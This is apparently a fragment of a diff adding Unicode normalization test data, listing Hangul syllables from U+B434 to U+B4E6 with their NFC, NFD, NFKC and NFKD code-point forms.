+{ source: [0xB434], NFC: [0xB434], NFD: [0x1103, 0x116D], NFKC: [0xB434], NFKD: [0x1103, 0x116D] },
+{ source: [0xB435], NFC: [0xB435], NFD: [0x1103, 0x116D, 0x11A8], NFKC: [0xB435], NFKD: [0x1103, 0x116D, 0x11A8] },
+{ source: [0xB436], NFC: [0xB436], NFD: [0x1103, 0x116D, 0x11A9], NFKC: [0xB436], NFKD: [0x1103, 0x116D, 0x11A9] },
+{ source: [0xB437], NFC: [0xB437], NFD: [0x1103, 0x116D, 0x11AA], NFKC: [0xB437], NFKD: [0x1103, 0x116D, 0x11AA] },
+{ source: [0xB438], NFC: [0xB438], NFD: [0x1103, 0x116D, 0x11AB], NFKC: [0xB438], NFKD: [0x1103, 0x116D, 0x11AB] },
+{ source: [0xB439], NFC: [0xB439], NFD: [0x1103, 0x116D, 0x11AC], NFKC: [0xB439], NFKD: [0x1103, 0x116D, 0x11AC] },
+{ source: [0xB43A], NFC: [0xB43A], NFD: [0x1103, 0x116D, 0x11AD], NFKC: [0xB43A], NFKD: [0x1103, 0x116D, 0x11AD] },
+{ source: [0xB43B], NFC: [0xB43B], NFD: [0x1103, 0x116D, 0x11AE], NFKC: [0xB43B], NFKD: [0x1103, 0x116D, 0x11AE] },
+{ source: [0xB43C], NFC: [0xB43C], NFD: [0x1103, 0x116D, 0x11AF], NFKC: [0xB43C], NFKD: [0x1103, 0x116D, 0x11AF] },
+{ source: [0xB43D], NFC: [0xB43D], NFD: [0x1103, 0x116D, 0x11B0], NFKC: [0xB43D], NFKD: [0x1103, 0x116D, 0x11B0] },
+{ source: [0xB43E], NFC: [0xB43E], NFD: [0x1103, 0x116D, 0x11B1], NFKC: [0xB43E], NFKD: [0x1103, 0x116D, 0x11B1] },
+{ source: [0xB43F], NFC: [0xB43F], NFD: [0x1103, 0x116D, 0x11B2], NFKC: [0xB43F], NFKD: [0x1103, 0x116D, 0x11B2] },
+{ source: [0xB440], NFC: [0xB440], NFD: [0x1103, 0x116D, 0x11B3], NFKC: [0xB440], NFKD: [0x1103, 0x116D, 0x11B3] },
+{ source: [0xB441], NFC: [0xB441], NFD: [0x1103, 0x116D, 0x11B4], NFKC: [0xB441], NFKD: [0x1103, 0x116D, 0x11B4] },
+{ source: [0xB442], NFC: [0xB442], NFD: [0x1103, 0x116D, 0x11B5], NFKC: [0xB442], NFKD: [0x1103, 0x116D, 0x11B5] },
+{ source: [0xB443], NFC: [0xB443], NFD: [0x1103, 0x116D, 0x11B6], NFKC: [0xB443], NFKD: [0x1103, 0x116D, 0x11B6] },
+{ source: [0xB444], NFC: [0xB444], NFD: [0x1103, 0x116D, 0x11B7], NFKC: [0xB444], NFKD: [0x1103, 0x116D, 0x11B7] },
+{ source: [0xB445], NFC: [0xB445], NFD: [0x1103, 0x116D, 0x11B8], NFKC: [0xB445], NFKD: [0x1103, 0x116D, 0x11B8] },
+{ source: [0xB446], NFC: [0xB446], NFD: [0x1103, 0x116D, 0x11B9], NFKC: [0xB446], NFKD: [0x1103, 0x116D, 0x11B9] },
+{ source: [0xB447], NFC: [0xB447], NFD: [0x1103, 0x116D, 0x11BA], NFKC: [0xB447], NFKD: [0x1103, 0x116D, 0x11BA] },
+{ source: [0xB448], NFC: [0xB448], NFD: [0x1103, 0x116D, 0x11BB], NFKC: [0xB448], NFKD: [0x1103, 0x116D, 0x11BB] },
+{ source: [0xB449], NFC: [0xB449], NFD: [0x1103, 0x116D, 0x11BC], NFKC: [0xB449], NFKD: [0x1103, 0x116D, 0x11BC] },
+{ source: [0xB44A], NFC: [0xB44A], NFD: [0x1103, 0x116D, 0x11BD], NFKC: [0xB44A], NFKD: [0x1103, 0x116D, 0x11BD] },
+{ source: [0xB44B], NFC: [0xB44B], NFD: [0x1103, 0x116D, 0x11BE], NFKC: [0xB44B], NFKD: [0x1103, 0x116D, 0x11BE] },
+{ source: [0xB44C], NFC: [0xB44C], NFD: [0x1103, 0x116D, 0x11BF], NFKC: [0xB44C], NFKD: [0x1103, 0x116D, 0x11BF] },
+{ source: [0xB44D], NFC: [0xB44D], NFD: [0x1103, 0x116D, 0x11C0], NFKC: [0xB44D], NFKD: [0x1103, 0x116D, 0x11C0] },
+{ source: [0xB44E], NFC: [0xB44E], NFD: [0x1103, 0x116D, 0x11C1], NFKC: [0xB44E], NFKD: [0x1103, 0x116D, 0x11C1] },
+{ source: [0xB44F], NFC: [0xB44F], NFD: [0x1103, 0x116D, 0x11C2], NFKC: [0xB44F], NFKD: [0x1103, 0x116D, 0x11C2] },
+{ source: [0xB450], NFC: [0xB450], NFD: [0x1103, 0x116E], NFKC: [0xB450], NFKD: [0x1103, 0x116E] },
+{ source: [0xB451], NFC: [0xB451], NFD: [0x1103, 0x116E, 0x11A8], NFKC: [0xB451], NFKD: [0x1103, 0x116E, 0x11A8] },
+{ source: [0xB452], NFC: [0xB452], NFD: [0x1103, 0x116E, 0x11A9], NFKC: [0xB452], NFKD: [0x1103, 0x116E, 0x11A9] },
+{ source: [0xB453], NFC: [0xB453], NFD: [0x1103, 0x116E, 0x11AA], NFKC: [0xB453], NFKD: [0x1103, 0x116E, 0x11AA] },
+{ source: [0xB454], NFC: [0xB454], NFD: [0x1103, 0x116E, 0x11AB], NFKC: [0xB454], NFKD: [0x1103, 0x116E, 0x11AB] },
+{ source: [0xB455], NFC: [0xB455], NFD: [0x1103, 0x116E, 0x11AC], NFKC: [0xB455], NFKD: [0x1103, 0x116E, 0x11AC] },
+{ source: [0xB456], NFC: [0xB456], NFD: [0x1103, 0x116E, 0x11AD], NFKC: [0xB456], NFKD: [0x1103, 0x116E, 0x11AD] },
+{ source: [0xB457], NFC: [0xB457], NFD: [0x1103, 0x116E, 0x11AE], NFKC: [0xB457], NFKD: [0x1103, 0x116E, 0x11AE] },
+{ source: [0xB458], NFC: [0xB458], NFD: [0x1103, 0x116E, 0x11AF], NFKC: [0xB458], NFKD: [0x1103, 0x116E, 0x11AF] },
+{ source: [0xB459], NFC: [0xB459], NFD: [0x1103, 0x116E, 0x11B0], NFKC: [0xB459], NFKD: [0x1103, 0x116E, 0x11B0] },
+{ source: [0xB45A], NFC: [0xB45A], NFD: [0x1103, 0x116E, 0x11B1], NFKC: [0xB45A], NFKD: [0x1103, 0x116E, 0x11B1] },
+{ source: [0xB45B], NFC: [0xB45B], NFD: [0x1103, 0x116E, 0x11B2], NFKC: [0xB45B], NFKD: [0x1103, 0x116E, 0x11B2] },
+{ source: [0xB45C], NFC: [0xB45C], NFD: [0x1103, 0x116E, 0x11B3], NFKC: [0xB45C], NFKD: [0x1103, 0x116E, 0x11B3] },
+{ source: [0xB45D], NFC: [0xB45D], NFD: [0x1103, 0x116E, 0x11B4], NFKC: [0xB45D], NFKD: [0x1103, 0x116E, 0x11B4] },
+{ source: [0xB45E], NFC: [0xB45E], NFD: [0x1103, 0x116E, 0x11B5], NFKC: [0xB45E], NFKD: [0x1103, 0x116E, 0x11B5] },
+{ source: [0xB45F], NFC: [0xB45F], NFD: [0x1103, 0x116E, 0x11B6], NFKC: [0xB45F], NFKD: [0x1103, 0x116E, 0x11B6] },
+{ source: [0xB460], NFC: [0xB460], NFD: [0x1103, 0x116E, 0x11B7], NFKC: [0xB460], NFKD: [0x1103, 0x116E, 0x11B7] },
+{ source: [0xB461], NFC: [0xB461], NFD: [0x1103, 0x116E, 0x11B8], NFKC: [0xB461], NFKD: [0x1103, 0x116E, 0x11B8] },
+{ source: [0xB462], NFC: [0xB462], NFD: [0x1103, 0x116E, 0x11B9], NFKC: [0xB462], NFKD: [0x1103, 0x116E, 0x11B9] },
+{ source: [0xB463], NFC: [0xB463], NFD: [0x1103, 0x116E, 0x11BA], NFKC: [0xB463], NFKD: [0x1103, 0x116E, 0x11BA] },
+{ source: [0xB464], NFC: [0xB464], NFD: [0x1103, 0x116E, 0x11BB], NFKC: [0xB464], NFKD: [0x1103, 0x116E, 0x11BB] },
+{ source: [0xB465], NFC: [0xB465], NFD: [0x1103, 0x116E, 0x11BC], NFKC: [0xB465], NFKD: [0x1103, 0x116E, 0x11BC] },
+{ source: [0xB466], NFC: [0xB466], NFD: [0x1103, 0x116E, 0x11BD], NFKC: [0xB466], NFKD: [0x1103, 0x116E, 0x11BD] },
+{ source: [0xB467], NFC: [0xB467], NFD: [0x1103, 0x116E, 0x11BE], NFKC: [0xB467], NFKD: [0x1103, 0x116E, 0x11BE] },
+{ source: [0xB468], NFC: [0xB468], NFD: [0x1103, 0x116E, 0x11BF], NFKC: [0xB468], NFKD: [0x1103, 0x116E, 0x11BF] },
+{ source: [0xB469], NFC: [0xB469], NFD: [0x1103, 0x116E, 0x11C0], NFKC: [0xB469], NFKD: [0x1103, 0x116E, 0x11C0] },
+{ source: [0xB46A], NFC: [0xB46A], NFD: [0x1103, 0x116E, 0x11C1], NFKC: [0xB46A], NFKD: [0x1103, 0x116E, 0x11C1] },
+{ source: [0xB46B], NFC: [0xB46B], NFD: [0x1103, 0x116E, 0x11C2], NFKC: [0xB46B], NFKD: [0x1103, 0x116E, 0x11C2] },
+{ source: [0xB46C], NFC: [0xB46C], NFD: [0x1103, 0x116F], NFKC: [0xB46C], NFKD: [0x1103, 0x116F] },
+{ source: [0xB46D], NFC: [0xB46D], NFD: [0x1103, 0x116F, 0x11A8], NFKC: [0xB46D], NFKD: [0x1103, 0x116F, 0x11A8] },
+{ source: [0xB46E], NFC: [0xB46E], NFD: [0x1103, 0x116F, 0x11A9], NFKC: [0xB46E], NFKD: [0x1103, 0x116F, 0x11A9] },
+{ source: [0xB46F], NFC: [0xB46F], NFD: [0x1103, 0x116F, 0x11AA], NFKC: [0xB46F], NFKD: [0x1103, 0x116F, 0x11AA] },
+{ source: [0xB470], NFC: [0xB470], NFD: [0x1103, 0x116F, 0x11AB], NFKC: [0xB470], NFKD: [0x1103, 0x116F, 0x11AB] },
+{ source: [0xB471], NFC: [0xB471], NFD: [0x1103, 0x116F, 0x11AC], NFKC: [0xB471], NFKD: [0x1103, 0x116F, 0x11AC] },
+{ source: [0xB472], NFC: [0xB472], NFD: [0x1103, 0x116F, 0x11AD], NFKC: [0xB472], NFKD: [0x1103, 0x116F, 0x11AD] },
+{ source: [0xB473], NFC: [0xB473], NFD: [0x1103, 0x116F, 0x11AE], NFKC: [0xB473], NFKD: [0x1103, 0x116F, 0x11AE] },
+{ source: [0xB474], NFC: [0xB474], NFD: [0x1103, 0x116F, 0x11AF], NFKC: [0xB474], NFKD: [0x1103, 0x116F, 0x11AF] },
+{ source: [0xB475], NFC: [0xB475], NFD: [0x1103, 0x116F, 0x11B0], NFKC: [0xB475], NFKD: [0x1103, 0x116F, 0x11B0] },
+{ source: [0xB476], NFC: [0xB476], NFD: [0x1103, 0x116F, 0x11B1], NFKC: [0xB476], NFKD: [0x1103, 0x116F, 0x11B1] },
+{ source: [0xB477], NFC: [0xB477], NFD: [0x1103, 0x116F, 0x11B2], NFKC: [0xB477], NFKD: [0x1103, 0x116F, 0x11B2] },
+{ source: [0xB478], NFC: [0xB478], NFD: [0x1103, 0x116F, 0x11B3], NFKC: [0xB478], NFKD: [0x1103, 0x116F, 0x11B3] },
+{ source: [0xB479], NFC: [0xB479], NFD: [0x1103, 0x116F, 0x11B4], NFKC: [0xB479], NFKD: [0x1103, 0x116F, 0x11B4] },
+{ source: [0xB47A], NFC: [0xB47A], NFD: [0x1103, 0x116F, 0x11B5], NFKC: [0xB47A], NFKD: [0x1103, 0x116F, 0x11B5] },
+{ source: [0xB47B], NFC: [0xB47B], NFD: [0x1103, 0x116F, 0x11B6], NFKC: [0xB47B], NFKD: [0x1103, 0x116F, 0x11B6] },
+{ source: [0xB47C], NFC: [0xB47C], NFD: [0x1103, 0x116F, 0x11B7], NFKC: [0xB47C], NFKD: [0x1103, 0x116F, 0x11B7] },
+{ source: [0xB47D], NFC: [0xB47D], NFD: [0x1103, 0x116F, 0x11B8], NFKC: [0xB47D], NFKD: [0x1103, 0x116F, 0x11B8] },
+{ source: [0xB47E], NFC: [0xB47E], NFD: [0x1103, 0x116F, 0x11B9], NFKC: [0xB47E], NFKD: [0x1103, 0x116F, 0x11B9] },
+{ source: [0xB47F], NFC: [0xB47F], NFD: [0x1103, 0x116F, 0x11BA], NFKC: [0xB47F], NFKD: [0x1103, 0x116F, 0x11BA] },
+{ source: [0xB480], NFC: [0xB480], NFD: [0x1103, 0x116F, 0x11BB], NFKC: [0xB480], NFKD: [0x1103, 0x116F, 0x11BB] },
+{ source: [0xB481], NFC: [0xB481], NFD: [0x1103, 0x116F, 0x11BC], NFKC: [0xB481], NFKD: [0x1103, 0x116F, 0x11BC] },
+{ source: [0xB482], NFC: [0xB482], NFD: [0x1103, 0x116F, 0x11BD], NFKC: [0xB482], NFKD: [0x1103, 0x116F, 0x11BD] },
+{ source: [0xB483], NFC: [0xB483], NFD: [0x1103, 0x116F, 0x11BE], NFKC: [0xB483], NFKD: [0x1103, 0x116F, 0x11BE] },
+{ source: [0xB484], NFC: [0xB484], NFD: [0x1103, 0x116F, 0x11BF], NFKC: [0xB484], NFKD: [0x1103, 0x116F, 0x11BF] },
+{ source: [0xB485], NFC: [0xB485], NFD: [0x1103, 0x116F, 0x11C0], NFKC: [0xB485], NFKD: [0x1103, 0x116F, 0x11C0] },
+{ source: [0xB486], NFC: [0xB486], NFD: [0x1103, 0x116F, 0x11C1], NFKC: [0xB486], NFKD: [0x1103, 0x116F, 0x11C1] },
+{ source: [0xB487], NFC: [0xB487], NFD: [0x1103, 0x116F, 0x11C2], NFKC: [0xB487], NFKD: [0x1103, 0x116F, 0x11C2] },
+{ source: [0xB488], NFC: [0xB488], NFD: [0x1103, 0x1170], NFKC: [0xB488], NFKD: [0x1103, 0x1170] },
+{ source: [0xB489], NFC: [0xB489], NFD: [0x1103, 0x1170, 0x11A8], NFKC: [0xB489], NFKD: [0x1103, 0x1170, 0x11A8] },
+{ source: [0xB48A], NFC: [0xB48A], NFD: [0x1103, 0x1170, 0x11A9], NFKC: [0xB48A], NFKD: [0x1103, 0x1170, 0x11A9] },
+{ source: [0xB48B], NFC: [0xB48B], NFD: [0x1103, 0x1170, 0x11AA], NFKC: [0xB48B], NFKD: [0x1103, 0x1170, 0x11AA] },
+{ source: [0xB48C], NFC: [0xB48C], NFD: [0x1103, 0x1170, 0x11AB], NFKC: [0xB48C], NFKD: [0x1103, 0x1170, 0x11AB] },
+{ source: [0xB48D], NFC: [0xB48D], NFD: [0x1103, 0x1170, 0x11AC], NFKC: [0xB48D], NFKD: [0x1103, 0x1170, 0x11AC] },
+{ source: [0xB48E], NFC: [0xB48E], NFD: [0x1103, 0x1170, 0x11AD], NFKC: [0xB48E], NFKD: [0x1103, 0x1170, 0x11AD] },
+{ source: [0xB48F], NFC: [0xB48F], NFD: [0x1103, 0x1170, 0x11AE], NFKC: [0xB48F], NFKD: [0x1103, 0x1170, 0x11AE] },
+{ source: [0xB490], NFC: [0xB490], NFD: [0x1103, 0x1170, 0x11AF], NFKC: [0xB490], NFKD: [0x1103, 0x1170, 0x11AF] },
+{ source: [0xB491], NFC: [0xB491], NFD: [0x1103, 0x1170, 0x11B0], NFKC: [0xB491], NFKD: [0x1103, 0x1170, 0x11B0] },
+{ source: [0xB492], NFC: [0xB492], NFD: [0x1103, 0x1170, 0x11B1], NFKC: [0xB492], NFKD: [0x1103, 0x1170, 0x11B1] },
+{ source: [0xB493], NFC: [0xB493], NFD: [0x1103, 0x1170, 0x11B2], NFKC: [0xB493], NFKD: [0x1103, 0x1170, 0x11B2] },
+{ source: [0xB494], NFC: [0xB494], NFD: [0x1103, 0x1170, 0x11B3], NFKC: [0xB494], NFKD: [0x1103, 0x1170, 0x11B3] },
+{ source: [0xB495], NFC: [0xB495], NFD: [0x1103, 0x1170, 0x11B4], NFKC: [0xB495], NFKD: [0x1103, 0x1170, 0x11B4] },
+{ source: [0xB496], NFC: [0xB496], NFD: [0x1103, 0x1170, 0x11B5], NFKC: [0xB496], NFKD: [0x1103, 0x1170, 0x11B5] },
+{ source: [0xB497], NFC: [0xB497], NFD: [0x1103, 0x1170, 0x11B6], NFKC: [0xB497], NFKD: [0x1103, 0x1170, 0x11B6] },
+{ source: [0xB498], NFC: [0xB498], NFD: [0x1103, 0x1170, 0x11B7], NFKC: [0xB498], NFKD: [0x1103, 0x1170, 0x11B7] },
+{ source: [0xB499], NFC: [0xB499], NFD: [0x1103, 0x1170, 0x11B8], NFKC: [0xB499], NFKD: [0x1103, 0x1170, 0x11B8] },
+{ source: [0xB49A], NFC: [0xB49A], NFD: [0x1103, 0x1170, 0x11B9], NFKC: [0xB49A], NFKD: [0x1103, 0x1170, 0x11B9] },
+{ source: [0xB49B], NFC: [0xB49B], NFD: [0x1103, 0x1170, 0x11BA], NFKC: [0xB49B], NFKD: [0x1103, 0x1170, 0x11BA] },
+{ source: [0xB49C], NFC: [0xB49C], NFD: [0x1103, 0x1170, 0x11BB], NFKC: [0xB49C], NFKD: [0x1103, 0x1170, 0x11BB] },
+{ source: [0xB49D], NFC: [0xB49D], NFD: [0x1103, 0x1170, 0x11BC], NFKC: [0xB49D], NFKD: [0x1103, 0x1170, 0x11BC] },
+{ source: [0xB49E], NFC: [0xB49E], NFD: [0x1103, 0x1170, 0x11BD], NFKC: [0xB49E], NFKD: [0x1103, 0x1170, 0x11BD] },
+{ source: [0xB49F], NFC: [0xB49F], NFD: [0x1103, 0x1170, 0x11BE], NFKC: [0xB49F], NFKD: [0x1103, 0x1170, 0x11BE] },
+{ source: [0xB4A0], NFC: [0xB4A0], NFD: [0x1103, 0x1170, 0x11BF], NFKC: [0xB4A0], NFKD: [0x1103, 0x1170, 0x11BF] },
+{ source: [0xB4A1], NFC: [0xB4A1], NFD: [0x1103, 0x1170, 0x11C0], NFKC: [0xB4A1], NFKD: [0x1103, 0x1170, 0x11C0] },
+{ source: [0xB4A2], NFC: [0xB4A2], NFD: [0x1103, 0x1170, 0x11C1], NFKC: [0xB4A2], NFKD: [0x1103, 0x1170, 0x11C1] },
+{ source: [0xB4A3], NFC: [0xB4A3], NFD: [0x1103, 0x1170, 0x11C2], NFKC: [0xB4A3], NFKD: [0x1103, 0x1170, 0x11C2] },
+{ source: [0xB4A4], NFC: [0xB4A4], NFD: [0x1103, 0x1171], NFKC: [0xB4A4], NFKD: [0x1103, 0x1171] },
+{ source: [0xB4A5], NFC: [0xB4A5], NFD: [0x1103, 0x1171, 0x11A8], NFKC: [0xB4A5], NFKD: [0x1103, 0x1171, 0x11A8] },
+{ source: [0xB4A6], NFC: [0xB4A6], NFD: [0x1103, 0x1171, 0x11A9], NFKC: [0xB4A6], NFKD: [0x1103, 0x1171, 0x11A9] },
+{ source: [0xB4A7], NFC: [0xB4A7], NFD: [0x1103, 0x1171, 0x11AA], NFKC: [0xB4A7], NFKD: [0x1103, 0x1171, 0x11AA] },
+{ source: [0xB4A8], NFC: [0xB4A8], NFD: [0x1103, 0x1171, 0x11AB], NFKC: [0xB4A8], NFKD: [0x1103, 0x1171, 0x11AB] },
+{ source: [0xB4A9], NFC: [0xB4A9], NFD: [0x1103, 0x1171, 0x11AC], NFKC: [0xB4A9], NFKD: [0x1103, 0x1171, 0x11AC] },
+{ source: [0xB4AA], NFC: [0xB4AA], NFD: [0x1103, 0x1171, 0x11AD], NFKC: [0xB4AA], NFKD: [0x1103, 0x1171, 0x11AD] },
+{ source: [0xB4AB], NFC: [0xB4AB], NFD: [0x1103, 0x1171, 0x11AE], NFKC: [0xB4AB], NFKD: [0x1103, 0x1171, 0x11AE] },
+{ source: [0xB4AC], NFC: [0xB4AC], NFD: [0x1103, 0x1171, 0x11AF], NFKC: [0xB4AC], NFKD: [0x1103, 0x1171, 0x11AF] },
+{ source: [0xB4AD], NFC: [0xB4AD], NFD: [0x1103, 0x1171, 0x11B0], NFKC: [0xB4AD], NFKD: [0x1103, 0x1171, 0x11B0] },
+{ source: [0xB4AE], NFC: [0xB4AE], NFD: [0x1103, 0x1171, 0x11B1], NFKC: [0xB4AE], NFKD: [0x1103, 0x1171, 0x11B1] },
+{ source: [0xB4AF], NFC: [0xB4AF], NFD: [0x1103, 0x1171, 0x11B2], NFKC: [0xB4AF], NFKD: [0x1103, 0x1171, 0x11B2] },
+{ source: [0xB4B0], NFC: [0xB4B0], NFD: [0x1103, 0x1171, 0x11B3], NFKC: [0xB4B0], NFKD: [0x1103, 0x1171, 0x11B3] },
+{ source: [0xB4B1], NFC: [0xB4B1], NFD: [0x1103, 0x1171, 0x11B4], NFKC: [0xB4B1], NFKD: [0x1103, 0x1171, 0x11B4] },
+{ source: [0xB4B2], NFC: [0xB4B2], NFD: [0x1103, 0x1171, 0x11B5], NFKC: [0xB4B2], NFKD: [0x1103, 0x1171, 0x11B5] },
+{ source: [0xB4B3], NFC: [0xB4B3], NFD: [0x1103, 0x1171, 0x11B6], NFKC: [0xB4B3], NFKD: [0x1103, 0x1171, 0x11B6] },
+{ source: [0xB4B4], NFC: [0xB4B4], NFD: [0x1103, 0x1171, 0x11B7], NFKC: [0xB4B4], NFKD: [0x1103, 0x1171, 0x11B7] },
+{ source: [0xB4B5], NFC: [0xB4B5], NFD: [0x1103, 0x1171, 0x11B8], NFKC: [0xB4B5], NFKD: [0x1103, 0x1171, 0x11B8] },
+{ source: [0xB4B6], NFC: [0xB4B6], NFD: [0x1103, 0x1171, 0x11B9], NFKC: [0xB4B6], NFKD: [0x1103, 0x1171, 0x11B9] },
+{ source: [0xB4B7], NFC: [0xB4B7], NFD: [0x1103, 0x1171, 0x11BA], NFKC: [0xB4B7], NFKD: [0x1103, 0x1171, 0x11BA] },
+{ source: [0xB4B8], NFC: [0xB4B8], NFD: [0x1103, 0x1171, 0x11BB], NFKC: [0xB4B8], NFKD: [0x1103, 0x1171, 0x11BB] },
+{ source: [0xB4B9], NFC: [0xB4B9], NFD: [0x1103, 0x1171, 0x11BC], NFKC: [0xB4B9], NFKD: [0x1103, 0x1171, 0x11BC] },
+{ source: [0xB4BA], NFC: [0xB4BA], NFD: [0x1103, 0x1171, 0x11BD], NFKC: [0xB4BA], NFKD: [0x1103, 0x1171, 0x11BD] },
+{ source: [0xB4BB], NFC: [0xB4BB], NFD: [0x1103, 0x1171, 0x11BE], NFKC: [0xB4BB], NFKD: [0x1103, 0x1171, 0x11BE] },
+{ source: [0xB4BC], NFC: [0xB4BC], NFD: [0x1103, 0x1171, 0x11BF], NFKC: [0xB4BC], NFKD: [0x1103, 0x1171, 0x11BF] },
+{ source: [0xB4BD], NFC: [0xB4BD], NFD: [0x1103, 0x1171, 0x11C0], NFKC: [0xB4BD], NFKD: [0x1103, 0x1171, 0x11C0] },
+{ source: [0xB4BE], NFC: [0xB4BE], NFD: [0x1103, 0x1171, 0x11C1], NFKC: [0xB4BE], NFKD: [0x1103, 0x1171, 0x11C1] },
+{ source: [0xB4BF], NFC: [0xB4BF], NFD: [0x1103, 0x1171, 0x11C2], NFKC: [0xB4BF], NFKD: [0x1103, 0x1171, 0x11C2] },
+{ source: [0xB4C0], NFC: [0xB4C0], NFD: [0x1103, 0x1172], NFKC: [0xB4C0], NFKD: [0x1103, 0x1172] },
+{ source: [0xB4C1], NFC: [0xB4C1], NFD: [0x1103, 0x1172, 0x11A8], NFKC: [0xB4C1], NFKD: [0x1103, 0x1172, 0x11A8] },
+{ source: [0xB4C2], NFC: [0xB4C2], NFD: [0x1103, 0x1172, 0x11A9], NFKC: [0xB4C2], NFKD: [0x1103, 0x1172, 0x11A9] },
+{ source: [0xB4C3], NFC: [0xB4C3], NFD: [0x1103, 0x1172, 0x11AA], NFKC: [0xB4C3], NFKD: [0x1103, 0x1172, 0x11AA] },
+{ source: [0xB4C4], NFC: [0xB4C4], NFD: [0x1103, 0x1172, 0x11AB], NFKC: [0xB4C4], NFKD: [0x1103, 0x1172, 0x11AB] },
+{ source: [0xB4C5], NFC: [0xB4C5], NFD: [0x1103, 0x1172, 0x11AC], NFKC: [0xB4C5], NFKD: [0x1103, 0x1172, 0x11AC] },
+{ source: [0xB4C6], NFC: [0xB4C6], NFD: [0x1103, 0x1172, 0x11AD], NFKC: [0xB4C6], NFKD: [0x1103, 0x1172, 0x11AD] },
+{ source: [0xB4C7], NFC: [0xB4C7], NFD: [0x1103, 0x1172, 0x11AE], NFKC: [0xB4C7], NFKD: [0x1103, 0x1172, 0x11AE] },
+{ source: [0xB4C8], NFC: [0xB4C8], NFD: [0x1103, 0x1172, 0x11AF], NFKC: [0xB4C8], NFKD: [0x1103, 0x1172, 0x11AF] },
+{ source: [0xB4C9], NFC: [0xB4C9], NFD: [0x1103, 0x1172, 0x11B0], NFKC: [0xB4C9], NFKD: [0x1103, 0x1172, 0x11B0] },
+{ source: [0xB4CA], NFC: [0xB4CA], NFD: [0x1103, 0x1172, 0x11B1], NFKC: [0xB4CA], NFKD: [0x1103, 0x1172, 0x11B1] },
+{ source: [0xB4CB], NFC: [0xB4CB], NFD: [0x1103, 0x1172, 0x11B2], NFKC: [0xB4CB], NFKD: [0x1103, 0x1172, 0x11B2] },
+{ source: [0xB4CC], NFC: [0xB4CC], NFD: [0x1103, 0x1172, 0x11B3], NFKC: [0xB4CC], NFKD: [0x1103, 0x1172, 0x11B3] },
+{ source: [0xB4CD], NFC: [0xB4CD], NFD: [0x1103, 0x1172, 0x11B4], NFKC: [0xB4CD], NFKD: [0x1103, 0x1172, 0x11B4] },
+{ source: [0xB4CE], NFC: [0xB4CE], NFD: [0x1103, 0x1172, 0x11B5], NFKC: [0xB4CE], NFKD: [0x1103, 0x1172, 0x11B5] },
+{ source: [0xB4CF], NFC: [0xB4CF], NFD: [0x1103, 0x1172, 0x11B6], NFKC: [0xB4CF], NFKD: [0x1103, 0x1172, 0x11B6] },
+{ source: [0xB4D0], NFC: [0xB4D0], NFD: [0x1103, 0x1172, 0x11B7], NFKC: [0xB4D0], NFKD: [0x1103, 0x1172, 0x11B7] },
+{ source: [0xB4D1], NFC: [0xB4D1], NFD: [0x1103, 0x1172, 0x11B8], NFKC: [0xB4D1], NFKD: [0x1103, 0x1172, 0x11B8] },
+{ source: [0xB4D2], NFC: [0xB4D2], NFD: [0x1103, 0x1172, 0x11B9], NFKC: [0xB4D2], NFKD: [0x1103, 0x1172, 0x11B9] },
+{ source: [0xB4D3], NFC: [0xB4D3], NFD: [0x1103, 0x1172, 0x11BA], NFKC: [0xB4D3], NFKD: [0x1103, 0x1172, 0x11BA] },
+{ source: [0xB4D4], NFC: [0xB4D4], NFD: [0x1103, 0x1172, 0x11BB], NFKC: [0xB4D4], NFKD: [0x1103, 0x1172, 0x11BB] },
+{ source: [0xB4D5], NFC: [0xB4D5], NFD: [0x1103, 0x1172, 0x11BC], NFKC: [0xB4D5], NFKD: [0x1103, 0x1172, 0x11BC] },
+{ source: [0xB4D6], NFC: [0xB4D6], NFD: [0x1103, 0x1172, 0x11BD], NFKC: [0xB4D6], NFKD: [0x1103, 0x1172, 0x11BD] },
+{ source: [0xB4D7], NFC: [0xB4D7], NFD: [0x1103, 0x1172, 0x11BE], NFKC: [0xB4D7], NFKD: [0x1103, 0x1172, 0x11BE] },
+{ source: [0xB4D8], NFC: [0xB4D8], NFD: [0x1103, 0x1172, 0x11BF], NFKC: [0xB4D8], NFKD: [0x1103, 0x1172, 0x11BF] },
+{ source: [0xB4D9], NFC: [0xB4D9], NFD: [0x1103, 0x1172, 0x11C0], NFKC: [0xB4D9], NFKD: [0x1103, 0x1172, 0x11C0] },
+{ source: [0xB4DA], NFC: [0xB4DA], NFD: [0x1103, 0x1172, 0x11C1], NFKC: [0xB4DA], NFKD: [0x1103, 0x1172, 0x11C1] },
+{ source: [0xB4DB], NFC: [0xB4DB], NFD: [0x1103, 0x1172, 0x11C2], NFKC: [0xB4DB], NFKD: [0x1103, 0x1172, 0x11C2] },
+{ source: [0xB4DC], NFC: [0xB4DC], NFD: [0x1103, 0x1173], NFKC: [0xB4DC], NFKD: [0x1103, 0x1173] },
+{ source: [0xB4DD], NFC: [0xB4DD], NFD: [0x1103, 0x1173, 0x11A8], NFKC: [0xB4DD], NFKD: [0x1103, 0x1173, 0x11A8] },
+{ source: [0xB4DE], NFC: [0xB4DE], NFD: [0x1103, 0x1173, 0x11A9], NFKC: [0xB4DE], NFKD: [0x1103, 0x1173, 0x11A9] },
+{ source: [0xB4DF], NFC: [0xB4DF], NFD: [0x1103, 0x1173, 0x11AA], NFKC: [0xB4DF], NFKD: [0x1103, 0x1173, 0x11AA] },
+{ source: [0xB4E0], NFC: [0xB4E0], NFD: [0x1103, 0x1173, 0x11AB], NFKC: [0xB4E0], NFKD: [0x1103, 0x1173, 0x11AB] },
+{ source: [0xB4E1], NFC: [0xB4E1], NFD: [0x1103, 0x1173, 0x11AC], NFKC: [0xB4E1], NFKD: [0x1103, 0x1173, 0x11AC] },
+{ source: [0xB4E2], NFC: [0xB4E2], NFD: [0x1103, 0x1173, 0x11AD], NFKC: [0xB4E2], NFKD: [0x1103, 0x1173, 0x11AD] },
+{ source: [0xB4E3], NFC: [0xB4E3], NFD: [0x1103, 0x1173, 0x11AE], NFKC: [0xB4E3], NFKD: [0x1103, 0x1173, 0x11AE] },
+{ source: [0xB4E4], NFC: [0xB4E4], NFD: [0x1103, 0x1173, 0x11AF], NFKC: [0xB4E4], NFKD: [0x1103, 0x1173, 0x11AF] },
+{ source: [0xB4E5], NFC: [0xB4E5], NFD: [0x1103, 0x1173, 0x11B0], NFKC: [0xB4E5], NFKD: [0x1103, 0x1173, 0x11B0] },
+{ source: [0xB4E6], NFC: [0xB4E6], NFD: [0x1103, 0x1173, 0x11B1], NFKC: [0xB4E6], NFKD: [0x1103, 0x1173, 0x11B1] },
